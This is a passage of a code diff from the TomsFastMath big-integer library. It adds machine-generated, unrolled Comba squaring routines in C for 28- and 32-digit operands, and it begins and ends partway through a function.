COMBA_STORE(b[35]);
/* output 36 */
CARRY_FORWARD;
SQRADDSC(a[13], a[23]); SQRADDAC(a[14], a[22]); SQRADDAC(a[15], a[21]); SQRADDAC(a[16], a[20]); SQRADDAC(a[17], a[19]); SQRADDDB; SQRADD(a[18], a[18]);
COMBA_STORE(b[36]);
/* output 37 */
CARRY_FORWARD;
SQRADDSC(a[14], a[23]); SQRADDAC(a[15], a[22]); SQRADDAC(a[16], a[21]); SQRADDAC(a[17], a[20]); SQRADDAC(a[18], a[19]); SQRADDDB;
COMBA_STORE(b[37]);
/* output 38 */
CARRY_FORWARD;
SQRADDSC(a[15], a[23]); SQRADDAC(a[16], a[22]); SQRADDAC(a[17], a[21]); SQRADDAC(a[18], a[20]); SQRADDDB; SQRADD(a[19], a[19]);
COMBA_STORE(b[38]);
/* output 39 */
CARRY_FORWARD;
SQRADDSC(a[16], a[23]); SQRADDAC(a[17], a[22]); SQRADDAC(a[18], a[21]); SQRADDAC(a[19], a[20]); SQRADDDB;
COMBA_STORE(b[39]);
/* output 40 */
CARRY_FORWARD;
SQRADDSC(a[17], a[23]); SQRADDAC(a[18], a[22]); SQRADDAC(a[19], a[21]); SQRADDDB; SQRADD(a[20], a[20]);
COMBA_STORE(b[40]);
/* output 41 */
CARRY_FORWARD;
SQRADDSC(a[18], a[23]); SQRADDAC(a[19], a[22]); SQRADDAC(a[20], a[21]); SQRADDDB;
COMBA_STORE(b[41]);
/* output 42 */
CARRY_FORWARD;
SQRADD2(a[19], a[23]); SQRADD2(a[20], a[22]); SQRADD(a[21], a[21]);
COMBA_STORE(b[42]);
/* output 43 */
CARRY_FORWARD;
SQRADD2(a[20], a[23]); SQRADD2(a[21], a[22]);
COMBA_STORE(b[43]);
/* output 44 */
CARRY_FORWARD;
SQRADD2(a[21], a[23]); SQRADD(a[22], a[22]);
COMBA_STORE(b[44]);
/* output 45 */
CARRY_FORWARD;
SQRADD2(a[22], a[23]);
COMBA_STORE(b[45]);
/* output 46 */
CARRY_FORWARD;
SQRADD(a[23], a[23]);
COMBA_STORE(b[46]);
COMBA_STORE2(b[47]);
COMBA_FINI;
B->used = 48;
B->sign = FP_ZPOS;
memcpy(B->dp, b, 48 * sizeof(fp_digit));
fp_clamp(B);
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,304 @@
#define TFM_DEFINES
#include "fp_sqr_comba.c"
#if defined(TFM_SQR28) && FP_SIZE >= 56
void fp_sqr_comba28(fp_int *A, fp_int *B)
{
fp_digit *a, b[56], c0, c1, c2, sc0, sc1, sc2;
#ifdef TFM_ISO
fp_word tt;
#endif
a = A->dp;
COMBA_START;
/* clear carries */
CLEAR_CARRY;
/* output 0 */
SQRADD(a[0],a[0]);
COMBA_STORE(b[0]);
/* output 1 */
CARRY_FORWARD;
SQRADD2(a[0], a[1]);
COMBA_STORE(b[1]);
/* output 2 */
CARRY_FORWARD;
SQRADD2(a[0], a[2]); SQRADD(a[1], a[1]);
COMBA_STORE(b[2]);
/* output 3 */
CARRY_FORWARD;
SQRADD2(a[0], a[3]); SQRADD2(a[1], a[2]);
COMBA_STORE(b[3]);
/* output 4 */
CARRY_FORWARD;
SQRADD2(a[0], a[4]); SQRADD2(a[1], a[3]); SQRADD(a[2], a[2]);
COMBA_STORE(b[4]);
/* output 5 */
CARRY_FORWARD;
SQRADDSC(a[0], a[5]); SQRADDAC(a[1], a[4]); SQRADDAC(a[2], a[3]); SQRADDDB;
COMBA_STORE(b[5]);
/* output 6 */
CARRY_FORWARD;
SQRADDSC(a[0], a[6]); SQRADDAC(a[1], a[5]); SQRADDAC(a[2], a[4]); SQRADDDB; SQRADD(a[3], a[3]);
COMBA_STORE(b[6]);
/* output 7 */
CARRY_FORWARD;
SQRADDSC(a[0], a[7]); SQRADDAC(a[1], a[6]); SQRADDAC(a[2], a[5]); SQRADDAC(a[3], a[4]); SQRADDDB;
COMBA_STORE(b[7]);
/* output 8 */
CARRY_FORWARD;
SQRADDSC(a[0], a[8]); SQRADDAC(a[1], a[7]); SQRADDAC(a[2], a[6]); SQRADDAC(a[3], a[5]); SQRADDDB; SQRADD(a[4], a[4]);
COMBA_STORE(b[8]);
/* output 9 */
CARRY_FORWARD;
SQRADDSC(a[0], a[9]); SQRADDAC(a[1], a[8]); SQRADDAC(a[2], a[7]); SQRADDAC(a[3], a[6]); SQRADDAC(a[4], a[5]); SQRADDDB;
COMBA_STORE(b[9]);
/* output 10 */
CARRY_FORWARD;
SQRADDSC(a[0], a[10]); SQRADDAC(a[1], a[9]); SQRADDAC(a[2], a[8]); SQRADDAC(a[3], a[7]); SQRADDAC(a[4], a[6]); SQRADDDB; SQRADD(a[5], a[5]);
COMBA_STORE(b[10]);
/* output 11 */
CARRY_FORWARD;
SQRADDSC(a[0], a[11]); SQRADDAC(a[1], a[10]); SQRADDAC(a[2], a[9]); SQRADDAC(a[3], a[8]); SQRADDAC(a[4], a[7]); SQRADDAC(a[5], a[6]); SQRADDDB;
COMBA_STORE(b[11]);
/* output 12 */
CARRY_FORWARD;
SQRADDSC(a[0], a[12]); SQRADDAC(a[1], a[11]); SQRADDAC(a[2], a[10]); SQRADDAC(a[3], a[9]); SQRADDAC(a[4], a[8]); SQRADDAC(a[5], a[7]); SQRADDDB; SQRADD(a[6], a[6]);
COMBA_STORE(b[12]);
/* output 13 */
CARRY_FORWARD;
SQRADDSC(a[0], a[13]); SQRADDAC(a[1], a[12]); SQRADDAC(a[2], a[11]); SQRADDAC(a[3], a[10]); SQRADDAC(a[4], a[9]); SQRADDAC(a[5], a[8]); SQRADDAC(a[6], a[7]); SQRADDDB;
COMBA_STORE(b[13]);
/* output 14 */
CARRY_FORWARD;
SQRADDSC(a[0], a[14]); SQRADDAC(a[1], a[13]); SQRADDAC(a[2], a[12]); SQRADDAC(a[3], a[11]); SQRADDAC(a[4], a[10]); SQRADDAC(a[5], a[9]); SQRADDAC(a[6], a[8]); SQRADDDB; SQRADD(a[7], a[7]);
COMBA_STORE(b[14]);
/* output 15 */
CARRY_FORWARD;
SQRADDSC(a[0], a[15]); SQRADDAC(a[1], a[14]); SQRADDAC(a[2], a[13]); SQRADDAC(a[3], a[12]); SQRADDAC(a[4], a[11]); SQRADDAC(a[5], a[10]); SQRADDAC(a[6], a[9]); SQRADDAC(a[7], a[8]); SQRADDDB;
COMBA_STORE(b[15]);
/* output 16 */
CARRY_FORWARD;
SQRADDSC(a[0], a[16]); SQRADDAC(a[1], a[15]); SQRADDAC(a[2], a[14]); SQRADDAC(a[3], a[13]); SQRADDAC(a[4], a[12]); SQRADDAC(a[5], a[11]); SQRADDAC(a[6], a[10]); SQRADDAC(a[7], a[9]); SQRADDDB; SQRADD(a[8], a[8]);
COMBA_STORE(b[16]);
/* output 17 */
CARRY_FORWARD;
SQRADDSC(a[0], a[17]); SQRADDAC(a[1], a[16]); SQRADDAC(a[2], a[15]); SQRADDAC(a[3], a[14]); SQRADDAC(a[4], a[13]); SQRADDAC(a[5], a[12]); SQRADDAC(a[6], a[11]); SQRADDAC(a[7], a[10]); SQRADDAC(a[8], a[9]); SQRADDDB;
COMBA_STORE(b[17]);
/* output 18 */
CARRY_FORWARD;
SQRADDSC(a[0], a[18]); SQRADDAC(a[1], a[17]); SQRADDAC(a[2], a[16]); SQRADDAC(a[3], a[15]); SQRADDAC(a[4], a[14]); SQRADDAC(a[5], a[13]); SQRADDAC(a[6], a[12]); SQRADDAC(a[7], a[11]); SQRADDAC(a[8], a[10]); SQRADDDB; SQRADD(a[9], a[9]);
COMBA_STORE(b[18]);
/* output 19 */
CARRY_FORWARD;
SQRADDSC(a[0], a[19]); SQRADDAC(a[1], a[18]); SQRADDAC(a[2], a[17]); SQRADDAC(a[3], a[16]); SQRADDAC(a[4], a[15]); SQRADDAC(a[5], a[14]); SQRADDAC(a[6], a[13]); SQRADDAC(a[7], a[12]); SQRADDAC(a[8], a[11]); SQRADDAC(a[9], a[10]); SQRADDDB;
COMBA_STORE(b[19]);
/* output 20 */
CARRY_FORWARD;
SQRADDSC(a[0], a[20]); SQRADDAC(a[1], a[19]); SQRADDAC(a[2], a[18]); SQRADDAC(a[3], a[17]); SQRADDAC(a[4], a[16]); SQRADDAC(a[5], a[15]); SQRADDAC(a[6], a[14]); SQRADDAC(a[7], a[13]); SQRADDAC(a[8], a[12]); SQRADDAC(a[9], a[11]); SQRADDDB; SQRADD(a[10], a[10]);
COMBA_STORE(b[20]);
/* output 21 */
CARRY_FORWARD;
SQRADDSC(a[0], a[21]); SQRADDAC(a[1], a[20]); SQRADDAC(a[2], a[19]); SQRADDAC(a[3], a[18]); SQRADDAC(a[4], a[17]); SQRADDAC(a[5], a[16]); SQRADDAC(a[6], a[15]); SQRADDAC(a[7], a[14]); SQRADDAC(a[8], a[13]); SQRADDAC(a[9], a[12]); SQRADDAC(a[10], a[11]); SQRADDDB;
COMBA_STORE(b[21]);
/* output 22 */
CARRY_FORWARD;
SQRADDSC(a[0], a[22]); SQRADDAC(a[1], a[21]); SQRADDAC(a[2], a[20]); SQRADDAC(a[3], a[19]); SQRADDAC(a[4], a[18]); SQRADDAC(a[5], a[17]); SQRADDAC(a[6], a[16]); SQRADDAC(a[7], a[15]); SQRADDAC(a[8], a[14]); SQRADDAC(a[9], a[13]); SQRADDAC(a[10], a[12]); SQRADDDB; SQRADD(a[11], a[11]);
COMBA_STORE(b[22]);
/* output 23 */
CARRY_FORWARD;
SQRADDSC(a[0], a[23]); SQRADDAC(a[1], a[22]); SQRADDAC(a[2], a[21]); SQRADDAC(a[3], a[20]); SQRADDAC(a[4], a[19]); SQRADDAC(a[5], a[18]); SQRADDAC(a[6], a[17]); SQRADDAC(a[7], a[16]); SQRADDAC(a[8], a[15]); SQRADDAC(a[9], a[14]); SQRADDAC(a[10], a[13]); SQRADDAC(a[11], a[12]); SQRADDDB;
COMBA_STORE(b[23]);
/* output 24 */
CARRY_FORWARD;
SQRADDSC(a[0], a[24]); SQRADDAC(a[1], a[23]); SQRADDAC(a[2], a[22]); SQRADDAC(a[3], a[21]); SQRADDAC(a[4], a[20]); SQRADDAC(a[5], a[19]); SQRADDAC(a[6], a[18]); SQRADDAC(a[7], a[17]); SQRADDAC(a[8], a[16]); SQRADDAC(a[9], a[15]); SQRADDAC(a[10], a[14]); SQRADDAC(a[11], a[13]); SQRADDDB; SQRADD(a[12], a[12]);
COMBA_STORE(b[24]);
/* output 25 */
CARRY_FORWARD;
SQRADDSC(a[0], a[25]); SQRADDAC(a[1], a[24]); SQRADDAC(a[2], a[23]); SQRADDAC(a[3], a[22]); SQRADDAC(a[4], a[21]); SQRADDAC(a[5], a[20]); SQRADDAC(a[6], a[19]); SQRADDAC(a[7], a[18]); SQRADDAC(a[8], a[17]); SQRADDAC(a[9], a[16]); SQRADDAC(a[10], a[15]); SQRADDAC(a[11], a[14]); SQRADDAC(a[12], a[13]); SQRADDDB;
COMBA_STORE(b[25]);
/* output 26 */
CARRY_FORWARD;
SQRADDSC(a[0], a[26]); SQRADDAC(a[1], a[25]); SQRADDAC(a[2], a[24]); SQRADDAC(a[3], a[23]); SQRADDAC(a[4], a[22]); SQRADDAC(a[5], a[21]); SQRADDAC(a[6], a[20]); SQRADDAC(a[7], a[19]); SQRADDAC(a[8], a[18]); SQRADDAC(a[9], a[17]); SQRADDAC(a[10], a[16]); SQRADDAC(a[11], a[15]); SQRADDAC(a[12], a[14]); SQRADDDB; SQRADD(a[13], a[13]);
COMBA_STORE(b[26]);
/* output 27 */
CARRY_FORWARD;
SQRADDSC(a[0], a[27]); SQRADDAC(a[1], a[26]); SQRADDAC(a[2], a[25]); SQRADDAC(a[3], a[24]); SQRADDAC(a[4], a[23]); SQRADDAC(a[5], a[22]); SQRADDAC(a[6], a[21]); SQRADDAC(a[7], a[20]); SQRADDAC(a[8], a[19]); SQRADDAC(a[9], a[18]); SQRADDAC(a[10], a[17]); SQRADDAC(a[11], a[16]); SQRADDAC(a[12], a[15]); SQRADDAC(a[13], a[14]); SQRADDDB;
COMBA_STORE(b[27]);
/* output 28 */
CARRY_FORWARD;
SQRADDSC(a[1], a[27]); SQRADDAC(a[2], a[26]); SQRADDAC(a[3], a[25]); SQRADDAC(a[4], a[24]); SQRADDAC(a[5], a[23]); SQRADDAC(a[6], a[22]); SQRADDAC(a[7], a[21]); SQRADDAC(a[8], a[20]); SQRADDAC(a[9], a[19]); SQRADDAC(a[10], a[18]); SQRADDAC(a[11], a[17]); SQRADDAC(a[12], a[16]); SQRADDAC(a[13], a[15]); SQRADDDB; SQRADD(a[14], a[14]);
COMBA_STORE(b[28]);
/* output 29 */
CARRY_FORWARD;
SQRADDSC(a[2], a[27]); SQRADDAC(a[3], a[26]); SQRADDAC(a[4], a[25]); SQRADDAC(a[5], a[24]); SQRADDAC(a[6], a[23]); SQRADDAC(a[7], a[22]); SQRADDAC(a[8], a[21]); SQRADDAC(a[9], a[20]); SQRADDAC(a[10], a[19]); SQRADDAC(a[11], a[18]); SQRADDAC(a[12], a[17]); SQRADDAC(a[13], a[16]); SQRADDAC(a[14], a[15]); SQRADDDB;
COMBA_STORE(b[29]);
/* output 30 */
CARRY_FORWARD;
SQRADDSC(a[3], a[27]); SQRADDAC(a[4], a[26]); SQRADDAC(a[5], a[25]); SQRADDAC(a[6], a[24]); SQRADDAC(a[7], a[23]); SQRADDAC(a[8], a[22]); SQRADDAC(a[9], a[21]); SQRADDAC(a[10], a[20]); SQRADDAC(a[11], a[19]); SQRADDAC(a[12], a[18]); SQRADDAC(a[13], a[17]); SQRADDAC(a[14], a[16]); SQRADDDB; SQRADD(a[15], a[15]);
COMBA_STORE(b[30]);
/* output 31 */
CARRY_FORWARD;
SQRADDSC(a[4], a[27]); SQRADDAC(a[5], a[26]); SQRADDAC(a[6], a[25]); SQRADDAC(a[7], a[24]); SQRADDAC(a[8], a[23]); SQRADDAC(a[9], a[22]); SQRADDAC(a[10], a[21]); SQRADDAC(a[11], a[20]); SQRADDAC(a[12], a[19]); SQRADDAC(a[13], a[18]); SQRADDAC(a[14], a[17]); SQRADDAC(a[15], a[16]); SQRADDDB;
COMBA_STORE(b[31]);
/* output 32 */
CARRY_FORWARD;
SQRADDSC(a[5], a[27]); SQRADDAC(a[6], a[26]); SQRADDAC(a[7], a[25]); SQRADDAC(a[8], a[24]); SQRADDAC(a[9], a[23]); SQRADDAC(a[10], a[22]); SQRADDAC(a[11], a[21]); SQRADDAC(a[12], a[20]); SQRADDAC(a[13], a[19]); SQRADDAC(a[14], a[18]); SQRADDAC(a[15], a[17]); SQRADDDB; SQRADD(a[16], a[16]);
COMBA_STORE(b[32]);
/* output 33 */
CARRY_FORWARD;
SQRADDSC(a[6], a[27]); SQRADDAC(a[7], a[26]); SQRADDAC(a[8], a[25]); SQRADDAC(a[9], a[24]); SQRADDAC(a[10], a[23]); SQRADDAC(a[11], a[22]); SQRADDAC(a[12], a[21]); SQRADDAC(a[13], a[20]); SQRADDAC(a[14], a[19]); SQRADDAC(a[15], a[18]); SQRADDAC(a[16], a[17]); SQRADDDB;
COMBA_STORE(b[33]);
/* output 34 */
CARRY_FORWARD;
SQRADDSC(a[7], a[27]); SQRADDAC(a[8], a[26]); SQRADDAC(a[9], a[25]); SQRADDAC(a[10], a[24]); SQRADDAC(a[11], a[23]); SQRADDAC(a[12], a[22]); SQRADDAC(a[13], a[21]); SQRADDAC(a[14], a[20]); SQRADDAC(a[15], a[19]); SQRADDAC(a[16], a[18]); SQRADDDB; SQRADD(a[17], a[17]);
COMBA_STORE(b[34]);
/* output 35 */
CARRY_FORWARD;
SQRADDSC(a[8], a[27]); SQRADDAC(a[9], a[26]); SQRADDAC(a[10], a[25]); SQRADDAC(a[11], a[24]); SQRADDAC(a[12], a[23]); SQRADDAC(a[13], a[22]); SQRADDAC(a[14], a[21]); SQRADDAC(a[15], a[20]); SQRADDAC(a[16], a[19]); SQRADDAC(a[17], a[18]); SQRADDDB;
COMBA_STORE(b[35]);
/* output 36 */
CARRY_FORWARD;
SQRADDSC(a[9], a[27]); SQRADDAC(a[10], a[26]); SQRADDAC(a[11], a[25]); SQRADDAC(a[12], a[24]); SQRADDAC(a[13], a[23]); SQRADDAC(a[14], a[22]); SQRADDAC(a[15], a[21]); SQRADDAC(a[16], a[20]); SQRADDAC(a[17], a[19]); SQRADDDB; SQRADD(a[18], a[18]);
COMBA_STORE(b[36]);
/* output 37 */
CARRY_FORWARD;
SQRADDSC(a[10], a[27]); SQRADDAC(a[11], a[26]); SQRADDAC(a[12], a[25]); SQRADDAC(a[13], a[24]); SQRADDAC(a[14], a[23]); SQRADDAC(a[15], a[22]); SQRADDAC(a[16], a[21]); SQRADDAC(a[17], a[20]); SQRADDAC(a[18], a[19]); SQRADDDB;
COMBA_STORE(b[37]);
/* output 38 */
CARRY_FORWARD;
SQRADDSC(a[11], a[27]); SQRADDAC(a[12], a[26]); SQRADDAC(a[13], a[25]); SQRADDAC(a[14], a[24]); SQRADDAC(a[15], a[23]); SQRADDAC(a[16], a[22]); SQRADDAC(a[17], a[21]); SQRADDAC(a[18], a[20]); SQRADDDB; SQRADD(a[19], a[19]);
COMBA_STORE(b[38]);
/* output 39 */
CARRY_FORWARD;
SQRADDSC(a[12], a[27]); SQRADDAC(a[13], a[26]); SQRADDAC(a[14], a[25]); SQRADDAC(a[15], a[24]); SQRADDAC(a[16], a[23]); SQRADDAC(a[17], a[22]); SQRADDAC(a[18], a[21]); SQRADDAC(a[19], a[20]); SQRADDDB;
COMBA_STORE(b[39]);
/* output 40 */
CARRY_FORWARD;
SQRADDSC(a[13], a[27]); SQRADDAC(a[14], a[26]); SQRADDAC(a[15], a[25]); SQRADDAC(a[16], a[24]); SQRADDAC(a[17], a[23]); SQRADDAC(a[18], a[22]); SQRADDAC(a[19], a[21]); SQRADDDB; SQRADD(a[20], a[20]);
COMBA_STORE(b[40]);
/* output 41 */
CARRY_FORWARD;
SQRADDSC(a[14], a[27]); SQRADDAC(a[15], a[26]); SQRADDAC(a[16], a[25]); SQRADDAC(a[17], a[24]); SQRADDAC(a[18], a[23]); SQRADDAC(a[19], a[22]); SQRADDAC(a[20], a[21]); SQRADDDB;
COMBA_STORE(b[41]);
/* output 42 */
CARRY_FORWARD;
SQRADDSC(a[15], a[27]); SQRADDAC(a[16], a[26]); SQRADDAC(a[17], a[25]); SQRADDAC(a[18], a[24]); SQRADDAC(a[19], a[23]); SQRADDAC(a[20], a[22]); SQRADDDB; SQRADD(a[21], a[21]);
COMBA_STORE(b[42]);
/* output 43 */
CARRY_FORWARD;
SQRADDSC(a[16], a[27]); SQRADDAC(a[17], a[26]); SQRADDAC(a[18], a[25]); SQRADDAC(a[19], a[24]); SQRADDAC(a[20], a[23]); SQRADDAC(a[21], a[22]); SQRADDDB;
COMBA_STORE(b[43]);
/* output 44 */
CARRY_FORWARD;
SQRADDSC(a[17], a[27]); SQRADDAC(a[18], a[26]); SQRADDAC(a[19], a[25]); SQRADDAC(a[20], a[24]); SQRADDAC(a[21], a[23]); SQRADDDB; SQRADD(a[22], a[22]);
COMBA_STORE(b[44]);
/* output 45 */
CARRY_FORWARD;
SQRADDSC(a[18], a[27]); SQRADDAC(a[19], a[26]); SQRADDAC(a[20], a[25]); SQRADDAC(a[21], a[24]); SQRADDAC(a[22], a[23]); SQRADDDB;
COMBA_STORE(b[45]);
/* output 46 */
CARRY_FORWARD;
SQRADDSC(a[19], a[27]); SQRADDAC(a[20], a[26]); SQRADDAC(a[21], a[25]); SQRADDAC(a[22], a[24]); SQRADDDB; SQRADD(a[23], a[23]);
COMBA_STORE(b[46]);
/* output 47 */
CARRY_FORWARD;
SQRADDSC(a[20], a[27]); SQRADDAC(a[21], a[26]); SQRADDAC(a[22], a[25]); SQRADDAC(a[23], a[24]); SQRADDDB;
COMBA_STORE(b[47]);
/* output 48 */
CARRY_FORWARD;
SQRADDSC(a[21], a[27]); SQRADDAC(a[22], a[26]); SQRADDAC(a[23], a[25]); SQRADDDB; SQRADD(a[24], a[24]);
COMBA_STORE(b[48]);
/* output 49 */
CARRY_FORWARD;
SQRADDSC(a[22], a[27]); SQRADDAC(a[23], a[26]); SQRADDAC(a[24], a[25]); SQRADDDB;
COMBA_STORE(b[49]);
/* output 50 */
CARRY_FORWARD;
SQRADD2(a[23], a[27]); SQRADD2(a[24], a[26]); SQRADD(a[25], a[25]);
COMBA_STORE(b[50]);
/* output 51 */
CARRY_FORWARD;
SQRADD2(a[24], a[27]); SQRADD2(a[25], a[26]);
COMBA_STORE(b[51]);
/* output 52 */
CARRY_FORWARD;
SQRADD2(a[25], a[27]); SQRADD(a[26], a[26]);
COMBA_STORE(b[52]);
/* output 53 */
CARRY_FORWARD;
SQRADD2(a[26], a[27]);
COMBA_STORE(b[53]);
/* output 54 */
CARRY_FORWARD;
SQRADD(a[27], a[27]);
COMBA_STORE(b[54]);
COMBA_STORE2(b[55]);
COMBA_FINI;
B->used = 56;
B->sign = FP_ZPOS;
memcpy(B->dp, b, 56 * sizeof(fp_digit));
fp_clamp(B);
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,344 @@
#define TFM_DEFINES
#include "fp_sqr_comba.c"
#if defined(TFM_SQR32) && FP_SIZE >= 64
void fp_sqr_comba32(fp_int *A, fp_int *B)
{
fp_digit *a, b[64], c0, c1, c2, sc0, sc1, sc2;
#ifdef TFM_ISO
fp_word tt;
#endif
a = A->dp;
COMBA_START;
/* clear carries */
CLEAR_CARRY;
/* output 0 */
SQRADD(a[0],a[0]);
COMBA_STORE(b[0]);
/* output 1 */
CARRY_FORWARD;
SQRADD2(a[0], a[1]);
COMBA_STORE(b[1]);
/* output 2 */
CARRY_FORWARD;
SQRADD2(a[0], a[2]); SQRADD(a[1], a[1]);
COMBA_STORE(b[2]);
/* output 3 */
CARRY_FORWARD;
SQRADD2(a[0], a[3]); SQRADD2(a[1], a[2]);
COMBA_STORE(b[3]);
/* output 4 */
CARRY_FORWARD;
SQRADD2(a[0], a[4]); SQRADD2(a[1], a[3]); SQRADD(a[2], a[2]);
COMBA_STORE(b[4]);
/* output 5 */
CARRY_FORWARD;
SQRADDSC(a[0], a[5]); SQRADDAC(a[1], a[4]); SQRADDAC(a[2], a[3]); SQRADDDB;
COMBA_STORE(b[5]);
/* output 6 */
CARRY_FORWARD;
SQRADDSC(a[0], a[6]); SQRADDAC(a[1], a[5]); SQRADDAC(a[2], a[4]); SQRADDDB; SQRADD(a[3], a[3]);
COMBA_STORE(b[6]);
/* output 7 */
CARRY_FORWARD;
SQRADDSC(a[0], a[7]); SQRADDAC(a[1], a[6]); SQRADDAC(a[2], a[5]); SQRADDAC(a[3], a[4]); SQRADDDB;
COMBA_STORE(b[7]);
/* output 8 */
CARRY_FORWARD;
SQRADDSC(a[0], a[8]); SQRADDAC(a[1], a[7]); SQRADDAC(a[2], a[6]); SQRADDAC(a[3], a[5]); SQRADDDB; SQRADD(a[4], a[4]);
COMBA_STORE(b[8]);
/* output 9 */
CARRY_FORWARD;
SQRADDSC(a[0], a[9]); SQRADDAC(a[1], a[8]); SQRADDAC(a[2], a[7]); SQRADDAC(a[3], a[6]); SQRADDAC(a[4], a[5]); SQRADDDB;
COMBA_STORE(b[9]);
/* output 10 */
CARRY_FORWARD;
SQRADDSC(a[0], a[10]); SQRADDAC(a[1], a[9]); SQRADDAC(a[2], a[8]); SQRADDAC(a[3], a[7]); SQRADDAC(a[4], a[6]); SQRADDDB; SQRADD(a[5], a[5]);
COMBA_STORE(b[10]);
/* output 11 */
CARRY_FORWARD;
SQRADDSC(a[0], a[11]); SQRADDAC(a[1], a[10]); SQRADDAC(a[2], a[9]); SQRADDAC(a[3], a[8]); SQRADDAC(a[4], a[7]); SQRADDAC(a[5], a[6]); SQRADDDB;
COMBA_STORE(b[11]);
/* output 12 */
CARRY_FORWARD;
SQRADDSC(a[0], a[12]); SQRADDAC(a[1], a[11]); SQRADDAC(a[2], a[10]); SQRADDAC(a[3], a[9]); SQRADDAC(a[4], a[8]); SQRADDAC(a[5], a[7]); SQRADDDB; SQRADD(a[6], a[6]);
COMBA_STORE(b[12]);
/* output 13 */
CARRY_FORWARD;
SQRADDSC(a[0], a[13]); SQRADDAC(a[1], a[12]); SQRADDAC(a[2], a[11]); SQRADDAC(a[3], a[10]); SQRADDAC(a[4], a[9]); SQRADDAC(a[5], a[8]); SQRADDAC(a[6], a[7]); SQRADDDB;
COMBA_STORE(b[13]);
/* output 14 */
CARRY_FORWARD;
SQRADDSC(a[0], a[14]); SQRADDAC(a[1], a[13]); SQRADDAC(a[2], a[12]); SQRADDAC(a[3], a[11]); SQRADDAC(a[4], a[10]); SQRADDAC(a[5], a[9]); SQRADDAC(a[6], a[8]); SQRADDDB; SQRADD(a[7], a[7]);
COMBA_STORE(b[14]);
/* output 15 */
CARRY_FORWARD;
SQRADDSC(a[0], a[15]); SQRADDAC(a[1], a[14]); SQRADDAC(a[2], a[13]); SQRADDAC(a[3], a[12]); SQRADDAC(a[4], a[11]); SQRADDAC(a[5], a[10]); SQRADDAC(a[6], a[9]); SQRADDAC(a[7], a[8]); SQRADDDB;
COMBA_STORE(b[15]);
/* output 16 */
CARRY_FORWARD;
SQRADDSC(a[0], a[16]); SQRADDAC(a[1], a[15]); SQRADDAC(a[2], a[14]); SQRADDAC(a[3], a[13]); SQRADDAC(a[4], a[12]); SQRADDAC(a[5], a[11]); SQRADDAC(a[6], a[10]); SQRADDAC(a[7], a[9]); SQRADDDB; SQRADD(a[8], a[8]);
COMBA_STORE(b[16]);
/* output 17 */
CARRY_FORWARD;
SQRADDSC(a[0], a[17]); SQRADDAC(a[1], a[16]); SQRADDAC(a[2], a[15]); SQRADDAC(a[3], a[14]); SQRADDAC(a[4], a[13]); SQRADDAC(a[5], a[12]); SQRADDAC(a[6], a[11]); SQRADDAC(a[7], a[10]); SQRADDAC(a[8], a[9]); SQRADDDB;
COMBA_STORE(b[17]);
/* output 18 */
CARRY_FORWARD;
SQRADDSC(a[0], a[18]); SQRADDAC(a[1], a[17]); SQRADDAC(a[2], a[16]); SQRADDAC(a[3], a[15]); SQRADDAC(a[4], a[14]); SQRADDAC(a[5], a[13]); SQRADDAC(a[6], a[12]); SQRADDAC(a[7], a[11]); SQRADDAC(a[8], a[10]); SQRADDDB; SQRADD(a[9], a[9]);
COMBA_STORE(b[18]);
/* output 19 */
CARRY_FORWARD;
SQRADDSC(a[0], a[19]); SQRADDAC(a[1], a[18]); SQRADDAC(a[2], a[17]); SQRADDAC(a[3], a[16]); SQRADDAC(a[4], a[15]); SQRADDAC(a[5], a[14]); SQRADDAC(a[6], a[13]); SQRADDAC(a[7], a[12]); SQRADDAC(a[8], a[11]); SQRADDAC(a[9], a[10]); SQRADDDB;
COMBA_STORE(b[19]);
/* output 20 */
CARRY_FORWARD;
SQRADDSC(a[0], a[20]); SQRADDAC(a[1], a[19]); SQRADDAC(a[2], a[18]); SQRADDAC(a[3], a[17]); SQRADDAC(a[4], a[16]); SQRADDAC(a[5], a[15]); SQRADDAC(a[6], a[14]); SQRADDAC(a[7], a[13]); SQRADDAC(a[8], a[12]); SQRADDAC(a[9], a[11]); SQRADDDB; SQRADD(a[10], a[10]);
COMBA_STORE(b[20]);
/* output 21 */
CARRY_FORWARD;
SQRADDSC(a[0], a[21]); SQRADDAC(a[1], a[20]); SQRADDAC(a[2], a[19]); SQRADDAC(a[3], a[18]); SQRADDAC(a[4], a[17]); SQRADDAC(a[5], a[16]); SQRADDAC(a[6], a[15]); SQRADDAC(a[7], a[14]); SQRADDAC(a[8], a[13]); SQRADDAC(a[9], a[12]); SQRADDAC(a[10], a[11]); SQRADDDB;
COMBA_STORE(b[21]);
/* output 22 */
CARRY_FORWARD;
SQRADDSC(a[0], a[22]); SQRADDAC(a[1], a[21]); SQRADDAC(a[2], a[20]); SQRADDAC(a[3], a[19]); SQRADDAC(a[4], a[18]); SQRADDAC(a[5], a[17]); SQRADDAC(a[6], a[16]); SQRADDAC(a[7], a[15]); SQRADDAC(a[8], a[14]); SQRADDAC(a[9], a[13]); SQRADDAC(a[10], a[12]); SQRADDDB; SQRADD(a[11], a[11]);
COMBA_STORE(b[22]);
/* output 23 */
CARRY_FORWARD;
SQRADDSC(a[0], a[23]); SQRADDAC(a[1], a[22]); SQRADDAC(a[2], a[21]); SQRADDAC(a[3], a[20]); SQRADDAC(a[4], a[19]); SQRADDAC(a[5], a[18]); SQRADDAC(a[6], a[17]); SQRADDAC(a[7], a[16]); SQRADDAC(a[8], a[15]); SQRADDAC(a[9], a[14]); SQRADDAC(a[10], a[13]); SQRADDAC(a[11], a[12]); SQRADDDB;
COMBA_STORE(b[23]);
/* output 24 */
CARRY_FORWARD;
SQRADDSC(a[0], a[24]); SQRADDAC(a[1], a[23]); SQRADDAC(a[2], a[22]); SQRADDAC(a[3], a[21]); SQRADDAC(a[4], a[20]); SQRADDAC(a[5], a[19]); SQRADDAC(a[6], a[18]); SQRADDAC(a[7], a[17]); SQRADDAC(a[8], a[16]); SQRADDAC(a[9], a[15]); SQRADDAC(a[10], a[14]); SQRADDAC(a[11], a[13]); SQRADDDB; SQRADD(a[12], a[12]);
COMBA_STORE(b[24]);
/* output 25 */
CARRY_FORWARD;
SQRADDSC(a[0], a[25]); SQRADDAC(a[1], a[24]); SQRADDAC(a[2], a[23]); SQRADDAC(a[3], a[22]); SQRADDAC(a[4], a[21]); SQRADDAC(a[5], a[20]); SQRADDAC(a[6], a[19]); SQRADDAC(a[7], a[18]); SQRADDAC(a[8], a[17]); SQRADDAC(a[9], a[16]); SQRADDAC(a[10], a[15]); SQRADDAC(a[11], a[14]); SQRADDAC(a[12], a[13]); SQRADDDB;
